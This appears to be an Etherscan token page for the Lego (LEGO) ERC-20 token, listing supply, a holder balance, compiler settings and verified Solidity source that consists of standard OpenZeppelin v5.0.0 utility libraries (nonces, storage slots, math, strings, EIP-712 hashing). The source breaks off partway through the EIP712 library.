Token

Lego (LEGO)

ERC-20

Overview

Max Total Supply

1,000,000,000 LEGO

Holders

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

Other Info

Token Contract (WITH 18 Decimals)

0xE72d1b612FeB7a6dD3C1626B45227b1C56afd804

Filtered by Token Holder

0x21AE55AAB069BBAe3C31D9af4033FFAB4c19CCcd

Balance

62,796,184.976171494671237747 LEGO

Value

$0.00

0x21ae55aab069bbae3c31d9af4033ffab4c19cccd

Click here to update the token information / general information

#	Exchange	Pair	Price	24H Volume	% Volume

Contract Source Code Verified (Exact Match)

Contract Name:

Lego

Compiler Version

v0.8.25+commit.b61c2a91

Optimization Enabled:

No with 200 runs

Other Settings:

default evmVersion, None license

Contract Source Code (Solidity)

IDE

/**
 *Submitted for verification at Etherscan.io on 2024-04-27
*/

// File: @openzeppelin/contracts/utils/Nonces.sol


// OpenZeppelin Contracts (last updated v5.0.0) (utils/Nonces.sol)
pragma solidity ^0.8.20;

/**
 * @dev Provides tracking nonces for addresses. Nonces will only increment.
 */
abstract contract Nonces {
    /**
     * @dev The nonce used for an `account` is not the expected current nonce.
     */
    error InvalidAccountNonce(address account, uint256 currentNonce);

    mapping(address account => uint256) private _nonces;

    /**
     * @dev Returns the next unused nonce for an address.
     */
    function nonces(address owner) public view virtual returns (uint256) {
        return _nonces[owner];
    }

    /**
     * @dev Consumes a nonce.
     *
     * Returns the current value and increments nonce.
     */
    function _useNonce(address owner) internal virtual returns (uint256) {
        // For each account, the nonce has an initial value of 0, can only be incremented by one, and cannot be
        // decremented or reset. This guarantees that the nonce never overflows.
        unchecked {
            // It is important to do x++ and not ++x here.
            return _nonces[owner]++;
        }
    }

    /**
     * @dev Same as {_useNonce} but checking that `nonce` is the next valid for `owner`.
     */
    function _useCheckedNonce(address owner, uint256 nonce) internal virtual {
        uint256 current = _useNonce(owner);
        if (nonce != current) {
            revert InvalidAccountNonce(owner, current);
        }
    }
}

// File: @openzeppelin/contracts/interfaces/IERC5267.sol


// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC5267.sol)

pragma solidity ^0.8.20;

interface IERC5267 {
    /**
     * @dev MAY be emitted to signal that the domain could have changed.
     */
    event EIP712DomainChanged();

    /**
     * @dev returns the fields and values that describe the domain separator used by this contract for EIP-712
     * signature.
     */
    function eip712Domain()
        external
        view
        returns (
            bytes1 fields,
            string memory name,
            string memory version,
            uint256 chainId,
            address verifyingContract,
            bytes32 salt,
            uint256[] memory extensions
        );
}

// File: @openzeppelin/contracts/utils/StorageSlot.sol


// OpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol)
// This file was procedurally generated from scripts/generate/templates/StorageSlot.js.

pragma solidity ^0.8.20;

/**
 * @dev Library for reading and writing primitive types to specific storage slots.
 *
 * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
 * This library helps with reading and writing to such slots without the need for inline assembly.
 *
 * The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
 *
 * Example usage to set ERC1967 implementation slot:
 * ```solidity
 * contract ERC1967 {
 *     bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
 *
 *     function _getImplementation() internal view returns (address) {
 *         return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
 *     }
 *
 *     function _setImplementation(address newImplementation) internal {
 *         require(newImplementation.code.length > 0);
 *         StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
 *     }
 * }
 * ```
 */
library StorageSlot {
    struct AddressSlot {
        address value;
    }

    struct BooleanSlot {
        bool value;
    }

    struct Bytes32Slot {
        bytes32 value;
    }

    struct Uint256Slot {
        uint256 value;
    }

    struct StringSlot {
        string value;
    }

    struct BytesSlot {
        bytes value;
    }

    /**
     * @dev Returns an `AddressSlot` with member `value` located at `slot`.
     */
    function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := slot
        }
    }

    /**
     * @dev Returns an `BooleanSlot` with member `value` located at `slot`.
     */
    function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := slot
        }
    }

    /**
     * @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
     */
    function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := slot
        }
    }

    /**
     * @dev Returns an `Uint256Slot` with member `value` located at `slot`.
     */
    function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := slot
        }
    }

    /**
     * @dev Returns an `StringSlot` with member `value` located at `slot`.
     */
    function getStringSlot(bytes32 slot) internal pure returns (StringSlot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := slot
        }
    }

    /**
     * @dev Returns an `StringSlot` representation of the string storage pointer `store`.
     */
    function getStringSlot(string storage store) internal pure returns (StringSlot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := store.slot
        }
    }

    /**
     * @dev Returns an `BytesSlot` with member `value` located at `slot`.
     */
    function getBytesSlot(bytes32 slot) internal pure returns (BytesSlot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := slot
        }
    }

    /**
     * @dev Returns an `BytesSlot` representation of the bytes storage pointer `store`.
     */
    function getBytesSlot(bytes storage store) internal pure returns (BytesSlot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := store.slot
        }
    }
}

// File: @openzeppelin/contracts/utils/ShortStrings.sol


// OpenZeppelin Contracts (last updated v5.0.0) (utils/ShortStrings.sol)

pragma solidity ^0.8.20;


// | string  | 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA   |
// | length  | 0x                                                              BB |
type ShortString is bytes32;

/**
 * @dev This library provides functions to convert short memory strings
 * into a `ShortString` type that can be used as an immutable variable.
 *
 * Strings of arbitrary length can be optimized using this library if
 * they are short enough (up to 31 bytes) by packing them with their
 * length (1 byte) in a single EVM word (32 bytes). Additionally, a
 * fallback mechanism can be used for every other case.
 *
 * Usage example:
 *
 * ```solidity
 * contract Named {
 *     using ShortStrings for *;
 *
 *     ShortString private immutable _name;
 *     string private _nameFallback;
 *
 *     constructor(string memory contractName) {
 *         _name = contractName.toShortStringWithFallback(_nameFallback);
 *     }
 *
 *     function name() external view returns (string memory) {
 *         return _name.toStringWithFallback(_nameFallback);
 *     }
 * }
 * ```
 */
library ShortStrings {
    // Used as an identifier for strings longer than 31 bytes.
    bytes32 private constant FALLBACK_SENTINEL = 0x00000000000000000000000000000000000000000000000000000000000000FF;

    error StringTooLong(string str);
    error InvalidShortString();

    /**
     * @dev Encode a string of at most 31 chars into a `ShortString`.
     *
     * This will trigger a `StringTooLong` error is the input string is too long.
     */
    function toShortString(string memory str) internal pure returns (ShortString) {
        bytes memory bstr = bytes(str);
        if (bstr.length > 31) {
            revert StringTooLong(str);
        }
        return ShortString.wrap(bytes32(uint256(bytes32(bstr)) | bstr.length));
    }

    /**
     * @dev Decode a `ShortString` back to a "normal" string.
     */
    function toString(ShortString sstr) internal pure returns (string memory) {
        uint256 len = byteLength(sstr);
        // using `new string(len)` would work locally but is not memory safe.
        string memory str = new string(32);
        /// @solidity memory-safe-assembly
        assembly {
            mstore(str, len)
            mstore(add(str, 0x20), sstr)
        }
        return str;
    }

    /**
     * @dev Return the length of a `ShortString`.
     */
    function byteLength(ShortString sstr) internal pure returns (uint256) {
        uint256 result = uint256(ShortString.unwrap(sstr)) & 0xFF;
        if (result > 31) {
            revert InvalidShortString();
        }
        return result;
    }

    /**
     * @dev Encode a string into a `ShortString`, or write it to storage if it is too long.
     */
    function toShortStringWithFallback(string memory value, string storage store) internal returns (ShortString) {
        if (bytes(value).length < 32) {
            return toShortString(value);
        } else {
            StorageSlot.getStringSlot(store).value = value;
            return ShortString.wrap(FALLBACK_SENTINEL);
        }
    }

    /**
     * @dev Decode a string that was encoded to `ShortString` or written to storage using {setWithFallback}.
     */
    function toStringWithFallback(ShortString value, string storage store) internal pure returns (string memory) {
        if (ShortString.unwrap(value) != FALLBACK_SENTINEL) {
            return toString(value);
        } else {
            return store;
        }
    }

    /**
     * @dev Return the length of a string that was encoded to `ShortString` or written to storage using
     * {setWithFallback}.
     *
     * WARNING: This will return the "byte length" of the string. This may not reflect the actual length in terms of
     * actual characters as the UTF-8 encoding of a single character can span over multiple bytes.
     */
    function byteLengthWithFallback(ShortString value, string storage store) internal view returns (uint256) {
        if (ShortString.unwrap(value) != FALLBACK_SENTINEL) {
            return byteLength(value);
        } else {
            return bytes(store).length;
        }
    }
}

// File: @openzeppelin/contracts/utils/math/SignedMath.sol


// OpenZeppelin Contracts (last updated v5.0.0) (utils/math/SignedMath.sol)

pragma solidity ^0.8.20;

/**
 * @dev Standard signed math utilities missing in the Solidity language.
 */
library SignedMath {
    /**
     * @dev Returns the largest of two signed numbers.
     */
    function max(int256 a, int256 b) internal pure returns (int256) {
        return a > b ? a : b;
    }

    /**
     * @dev Returns the smallest of two signed numbers.
     */
    function min(int256 a, int256 b) internal pure returns (int256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two signed numbers without overflow.
     * The result is rounded towards zero.
     */
    function average(int256 a, int256 b) internal pure returns (int256) {
        // Formula from the book "Hacker's Delight"
        int256 x = (a & b) + ((a ^ b) >> 1);
        return x + (int256(uint256(x) >> 255) & (a ^ b));
    }

    /**
     * @dev Returns the absolute unsigned value of a signed value.
     */
    function abs(int256 n) internal pure returns (uint256) {
        unchecked {
            // must be unchecked in order to support `n = type(int256).min`
            return uint256(n >= 0 ? n : -n);
        }
    }
}

// File: @openzeppelin/contracts/utils/math/Math.sol


// OpenZeppelin Contracts (last updated v5.0.0) (utils/math/Math.sol)

pragma solidity ^0.8.20;

/**
 * @dev Standard math utilities missing in the Solidity language.
 */
library Math {
    /**
     * @dev Muldiv operation overflow.
     */
    error MathOverflowedMulDiv();

    enum Rounding {
        Floor, // Toward negative infinity
        Ceil, // Toward positive infinity
        Trunc, // Toward zero
        Expand // Away from zero
    }

    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, with an overflow flag.
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the largest of two numbers.
     */
    function max(uint256 a, uint256 b) internal pure returns (uint256) {
        return a > b ? a : b;
    }

    /**
     * @dev Returns the smallest of two numbers.
     */
    function min(uint256 a, uint256 b) internal pure returns (uint256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two numbers. The result is rounded towards
     * zero.
     */
    function average(uint256 a, uint256 b) internal pure returns (uint256) {
        // (a + b) / 2 can overflow.
        return (a & b) + (a ^ b) / 2;
    }

    /**
     * @dev Returns the ceiling of the division of two numbers.
     *
     * This differs from standard division with `/` in that it rounds towards infinity instead
     * of rounding towards zero.
     */
    function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
        if (b == 0) {
            // Guarantee the same behavior as in a regular Solidity division.
            return a / b;
        }

        // (a + b - 1) / b can overflow on addition, so we distribute.
        return a == 0 ? 0 : (a - 1) / b + 1;
    }

    /**
     * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or
     * denominator == 0.
     * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv) with further edits by
     * Uniswap Labs also under MIT license.
     */
    function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {
        unchecked {
            // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use
            // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256
            // variables such that product = prod1 * 2^256 + prod0.
            uint256 prod0 = x * y; // Least significant 256 bits of the product
            uint256 prod1; // Most significant 256 bits of the product
            assembly {
                let mm := mulmod(x, y, not(0))
                prod1 := sub(sub(mm, prod0), lt(mm, prod0))
            }

            // Handle non-overflow cases, 256 by 256 division.
            if (prod1 == 0) {
                // Solidity will revert if denominator == 0, unlike the div opcode on its own.
                // The surrounding unchecked block does not change this fact.
                // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic.
                return prod0 / denominator;
            }

            // Make sure the result is less than 2^256. Also prevents denominator == 0.
            if (denominator <= prod1) {
                revert MathOverflowedMulDiv();
            }

            ///////////////////////////////////////////////
            // 512 by 256 division.
            ///////////////////////////////////////////////

            // Make division exact by subtracting the remainder from [prod1 prod0].
            uint256 remainder;
            assembly {
                // Compute remainder using mulmod.
                remainder := mulmod(x, y, denominator)

                // Subtract 256 bit number from 512 bit number.
                prod1 := sub(prod1, gt(remainder, prod0))
                prod0 := sub(prod0, remainder)
            }

            // Factor powers of two out of denominator and compute largest power of two divisor of denominator.
            // Always >= 1. See https://cs.stackexchange.com/q/138556/92363.

            uint256 twos = denominator & (0 - denominator);
            assembly {
                // Divide denominator by twos.
                denominator := div(denominator, twos)

                // Divide [prod1 prod0] by twos.
                prod0 := div(prod0, twos)

                // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.
                twos := add(div(sub(0, twos), twos), 1)
            }

            // Shift in bits from prod1 into prod0.
            prod0 |= prod1 * twos;

            // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such
            // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for
            // four bits. That is, denominator * inv = 1 mod 2^4.
            uint256 inverse = (3 * denominator) ^ 2;

            // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also
            // works in modular arithmetic, doubling the correct bits in each step.
            inverse *= 2 - denominator * inverse; // inverse mod 2^8
            inverse *= 2 - denominator * inverse; // inverse mod 2^16
            inverse *= 2 - denominator * inverse; // inverse mod 2^32
            inverse *= 2 - denominator * inverse; // inverse mod 2^64
            inverse *= 2 - denominator * inverse; // inverse mod 2^128
            inverse *= 2 - denominator * inverse; // inverse mod 2^256

            // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.
            // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is
            // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1
            // is no longer required.
            result = prod0 * inverse;
            return result;
        }
    }

    /**
     * @notice Calculates x * y / denominator with full precision, following the selected rounding direction.
     */
    function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {
        uint256 result = mulDiv(x, y, denominator);
        if (unsignedRoundsUp(rounding) && mulmod(x, y, denominator) > 0) {
            result += 1;
        }
        return result;
    }

    /**
     * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded
     * towards zero.
     *
     * Inspired by Henry S. Warren, Jr.'s "Hacker's Delight" (Chapter 11).
     */
    function sqrt(uint256 a) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.
        //
        // We know that the "msb" (most significant bit) of our target number `a` is a power of 2 such that we have
        // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.
        //
        // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`
        // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`
        // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`
        //
        // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.
        uint256 result = 1 << (log2(a) >> 1);

        // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,
        // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at
        // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision
        // into the expected uint128 result.
        unchecked {
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            return min(result, a / result);
        }
    }

    /**
     * @notice Calculates sqrt(a), following the selected rounding direction.
     */
    function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = sqrt(a);
            return result + (unsignedRoundsUp(rounding) && result * result < a ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 2 of a positive value rounded towards zero.
     * Returns 0 if given 0.
     */
    function log2(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >> 128 > 0) {
                value >>= 128;
                result += 128;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 64;
            }
            if (value >> 32 > 0) {
                value >>= 32;
                result += 32;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 16;
            }
            if (value >> 8 > 0) {
                value >>= 8;
                result += 8;
            }
            if (value >> 4 > 0) {
                value >>= 4;
                result += 4;
            }
            if (value >> 2 > 0) {
                value >>= 2;
                result += 2;
            }
            if (value >> 1 > 0) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 2, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log2(value);
            return result + (unsignedRoundsUp(rounding) && 1 << result < value ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 10 of a positive value rounded towards zero.
     * Returns 0 if given 0.
     */
    function log10(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >= 10 ** 64) {
                value /= 10 ** 64;
                result += 64;
            }
            if (value >= 10 ** 32) {
                value /= 10 ** 32;
                result += 32;
            }
            if (value >= 10 ** 16) {
                value /= 10 ** 16;
                result += 16;
            }
            if (value >= 10 ** 8) {
                value /= 10 ** 8;
                result += 8;
            }
            if (value >= 10 ** 4) {
                value /= 10 ** 4;
                result += 4;
            }
            if (value >= 10 ** 2) {
                value /= 10 ** 2;
                result += 2;
            }
            if (value >= 10 ** 1) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 10, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log10(value);
            return result + (unsignedRoundsUp(rounding) && 10 ** result < value ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 256 of a positive value rounded towards zero.
     * Returns 0 if given 0.
     *
     * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.
     */
    function log256(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >> 128 > 0) {
                value >>= 128;
                result += 16;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 8;
            }
            if (value >> 32 > 0) {
                value >>= 32;
                result += 4;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 2;
            }
            if (value >> 8 > 0) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 256, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log256(value);
            return result + (unsignedRoundsUp(rounding) && 1 << (result << 3) < value ? 1 : 0);
        }
    }

    /**
     * @dev Returns whether a provided rounding mode is considered rounding up for unsigned integers.
     */
    function unsignedRoundsUp(Rounding rounding) internal pure returns (bool) {
        return uint8(rounding) % 2 == 1;
    }
}

// File: @openzeppelin/contracts/utils/Strings.sol


// OpenZeppelin Contracts (last updated v5.0.0) (utils/Strings.sol)

pragma solidity ^0.8.20;



/**
 * @dev String operations.
 */
library Strings {
    bytes16 private constant HEX_DIGITS = "0123456789abcdef";
    uint8 private constant ADDRESS_LENGTH = 20;

    /**
     * @dev The `value` string doesn't fit in the specified `length`.
     */
    error StringsInsufficientHexLength(uint256 value, uint256 length);

    /**
     * @dev Converts a `uint256` to its ASCII `string` decimal representation.
     */
    function toString(uint256 value) internal pure returns (string memory) {
        unchecked {
            uint256 length = Math.log10(value) + 1;
            string memory buffer = new string(length);
            uint256 ptr;
            /// @solidity memory-safe-assembly
            assembly {
                ptr := add(buffer, add(32, length))
            }
            while (true) {
                ptr--;
                /// @solidity memory-safe-assembly
                assembly {
                    mstore8(ptr, byte(mod(value, 10), HEX_DIGITS))
                }
                value /= 10;
                if (value == 0) break;
            }
            return buffer;
        }
    }

    /**
     * @dev Converts a `int256` to its ASCII `string` decimal representation.
     */
    function toStringSigned(int256 value) internal pure returns (string memory) {
        return string.concat(value < 0 ? "-" : "", toString(SignedMath.abs(value)));
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
     */
    function toHexString(uint256 value) internal pure returns (string memory) {
        unchecked {
            return toHexString(value, Math.log256(value) + 1);
        }
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
     */
    function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
        uint256 localValue = value;
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = HEX_DIGITS[localValue & 0xf];
            localValue >>= 4;
        }
        if (localValue != 0) {
            revert StringsInsufficientHexLength(value, length);
        }
        return string(buffer);
    }

    /**
     * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal
     * representation.
     */
    function toHexString(address addr) internal pure returns (string memory) {
        return toHexString(uint256(uint160(addr)), ADDRESS_LENGTH);
    }

    /**
     * @dev Returns true if the two strings are equal.
     */
    function equal(string memory a, string memory b) internal pure returns (bool) {
        return bytes(a).length == bytes(b).length && keccak256(bytes(a)) == keccak256(bytes(b));
    }
}

// File: @openzeppelin/contracts/utils/cryptography/MessageHashUtils.sol


// OpenZeppelin Contracts (last updated v5.0.0) (utils/cryptography/MessageHashUtils.sol)

pragma solidity ^0.8.20;


/**
 * @dev Signature message hash utilities for producing digests to be consumed by {ECDSA} recovery or signing.
 *
 * The library provides methods for generating a hash of a message that conforms to the
 * https://eips.ethereum.org/EIPS/eip-191[EIP 191] and https://eips.ethereum.org/EIPS/eip-712[EIP 712]
 * specifications.
 */
library MessageHashUtils {
    /**
     * @dev Returns the keccak256 digest of an EIP-191 signed data with version
     * `0x45` (`personal_sign` messages).
     *
     * The digest is calculated by prefixing a bytes32 `messageHash` with
     * `"\x19Ethereum Signed Message:\n32"` and hashing the result. It corresponds with the
     * hash signed when using the https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] JSON-RPC method.
     *
     * NOTE: The `messageHash` parameter is intended to be the result of hashing a raw message with
     * keccak256, although any bytes32 value can be safely used because the final digest will
     * be re-hashed.
     *
     * See {ECDSA-recover}.
     */
    function toEthSignedMessageHash(bytes32 messageHash) internal pure returns (bytes32 digest) {
        /// @solidity memory-safe-assembly
        assembly {
            mstore(0x00, "\x19Ethereum Signed Message:\n32") // 32 is the bytes-length of messageHash
            mstore(0x1c, messageHash) // 0x1c (28) is the length of the prefix
            digest := keccak256(0x00, 0x3c) // 0x3c is the length of the prefix (0x1c) + messageHash (0x20)
        }
    }

    /**
     * @dev Returns the keccak256 digest of an EIP-191 signed data with version
     * `0x45` (`personal_sign` messages).
     *
     * The digest is calculated by prefixing an arbitrary `message` with
     * `"\x19Ethereum Signed Message:\n" + len(message)` and hashing the result. It corresponds with the
     * hash signed when using the https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] JSON-RPC method.
     *
     * See {ECDSA-recover}.
     */
    function toEthSignedMessageHash(bytes memory message) internal pure returns (bytes32) {
        return
            keccak256(bytes.concat("\x19Ethereum Signed Message:\n", bytes(Strings.toString(message.length)), message));
    }

    /**
     * @dev Returns the keccak256 digest of an EIP-191 signed data with version
     * `0x00` (data with intended validator).
     *
     * The digest is calculated by prefixing an arbitrary `data` with `"\x19\x00"` and the intended
     * `validator` address. Then hashing the result.
     *
     * See {ECDSA-recover}.
     */
    function toDataWithIntendedValidatorHash(address validator, bytes memory data) internal pure returns (bytes32) {
        return keccak256(abi.encodePacked(hex"19_00", validator, data));
    }

    /**
     * @dev Returns the keccak256 digest of an EIP-712 typed data (EIP-191 version `0x01`).
     *
     * The digest is calculated from a `domainSeparator` and a `structHash`, by prefixing them with
     * `\x19\x01` and hashing the result. It corresponds to the hash signed by the
     * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] JSON-RPC method as part of EIP-712.
     *
     * See {ECDSA-recover}.
     */
    function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32 digest) {
        /// @solidity memory-safe-assembly
        assembly {
            let ptr := mload(0x40)
            mstore(ptr, hex"19_01")
            mstore(add(ptr, 0x02), domainSeparator)
            mstore(add(ptr, 0x22), structHash)
            digest := keccak256(ptr, 0x42)
        }
    }
}

// File: @openzeppelin/contracts/utils/cryptography/EIP712.sol


// OpenZeppelin Contracts (last updated v5.0.0) (utils/cryptography/EIP712.sol)

pragma solidity ^0.8.20;




/**
 * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
 *
 * The encoding scheme specified in the EIP requires a domain separator and a hash of the typed structured data, whose
 * encoding is very generic and therefore its implementation in Solidity is not feasible, thus this contract
 * does not implement the encoding itself. Protocols need to implement the type-specific encoding they need in order to
 * produce the hash of their typed data using a combination of `abi.encode` and `keccak256`.
 *
 * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
 * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
 * ({_hashTypedDataV4}).
 *
 * The implementation of the domain separator was designed to be as efficient as possible while still properly updating
 * the chain id to protect against replay attacks on an eventual fork of the chain.
 *
 * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
 * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
 *
 * NOTE: In the upgradeable version of this contract, the cached values will correspond to the address, and the domain
 * separator of the implementation contract. This will cause the {_domainSeparatorV4} function to always rebuild the
 * separator from the immutable values, which is cheaper than accessing a cached version in cold storage.
 *
 * @custom:oz-upgrades-unsafe-allow state-variable-immutable
 */
abstract contract EIP712 is IERC5267 {
    using ShortStrings for *;

    bytes32 private constant TYPE_HASH =
        keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");

    // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to
    // invalidate the cached domain separator if the chain id changes.
    bytes32 private immutable _cachedDomainSeparator;
    uint256 private immutable _cachedChainId;
    address private immutable _cachedThis;

    bytes32 private immutable _hashedName;
    bytes32 private immutable _hashedVersion;

    ShortString private immutable _name;
    ShortString private immutable _version;
    string private _nameFallback;
    string private _versionFallback;

    /**
     * @dev Initializes the domain separator and parameter caches.
     *
     * The meaning of `name` and `version` is specified in
     * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
     *
     * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
     * - `version`: the current major version of the signing domain.
     *
     * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
     * contract upgrade].
     */
    constructor(string memory name, string memory version) {
        _name = name.toShortStringWithFallback(_nameFallback);
        _version = version.toShortStringWithFallback(_versionFallback);
        _hashedName = keccak256(bytes(name));
        _hashedVersion = keccak256(bytes(version));

        _cachedChainId = block.chainid;
        _cachedDomainSeparator = _buildDomainSeparator();
        _cachedThis = address(this);
    }

    /**
     * @dev Returns the domain separator for the current chain.
     */
    function _domainSeparatorV4() internal view returns (bytes32) {
        if (address(this) == _cachedThis && block.chainid == _cachedChainId) {
            return _cachedDomainSeparator;
        } else {
            return _buildDomainSeparator();
        }
    }

    function _buildDomainSeparator() private view returns (bytes32) {
        return keccak256(abi.encode(TYPE_HASH, _hashedName, _hashedVersion, block.chainid, address(this)));
    }

    /**
     * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
     * function returns the hash of the fully encoded EIP712 message for this domain.
     *
     * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
     *
     * ```solidity
     * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
     *     keccak256("Mail(address to,string contents)"),
     *     mailTo,
     *     keccak256(bytes(mailContents))
     * )));
     * address signer = ECDSA.recover(digest, signature);
     * ```
     */
    function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
